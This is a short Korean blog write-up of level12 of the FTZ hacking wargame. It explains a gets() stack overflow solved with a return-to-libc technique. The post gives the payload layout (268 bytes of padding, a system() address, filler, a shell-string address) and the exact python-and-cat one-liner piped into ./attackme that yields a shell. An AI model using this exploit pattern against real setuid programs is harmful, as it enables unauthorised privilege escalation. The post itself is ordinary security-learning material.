ftz

level12

oogu ㅣ 2022. 9. 11. 20:01

#include <stdio.h>

#include <stdlib.h>

[그림 1-1]

코드를 보면 level11 과 비슷하다. level11 은 프로그램 실행시 인자값으로 받았다면 level12는 gets 로 실행 도중 입력을 받는다. 따라서 payload를 어떻게 입력하는지 알아가기 위한 문제인거 같다.

level12 또한 시스템 함수를 넣어야한다.

[그림 1-2]
[그림 1-3]

[그림 1-2] 참조하면 [그림 1-3]을 그릴 수 있다. 

RTL 기법으로 문제를 풀어보자

[그림 1-4]
[그림 1-5]

[그림 1-4] , [그림 1-5]를 참조하면 payload 는 "A" * 268 + 0x4203f2c0 + AAAA + 0x42127ea4 이다.

(python -c 'print("A"*268+"\xc0\xf2\x03\x42"+"AAAA"+"\xa4\x7e\x12\x42")';cat) | ./attackme

[그림 1-6]

성공

 

'ftz' 카테고리의 다른 글

level15  (0) 2022.09.12
level14  (0) 2022.09.12
level13  (0) 2022.09.12
level11  (0) 2022.09.11
level9  (0) 2022.09.11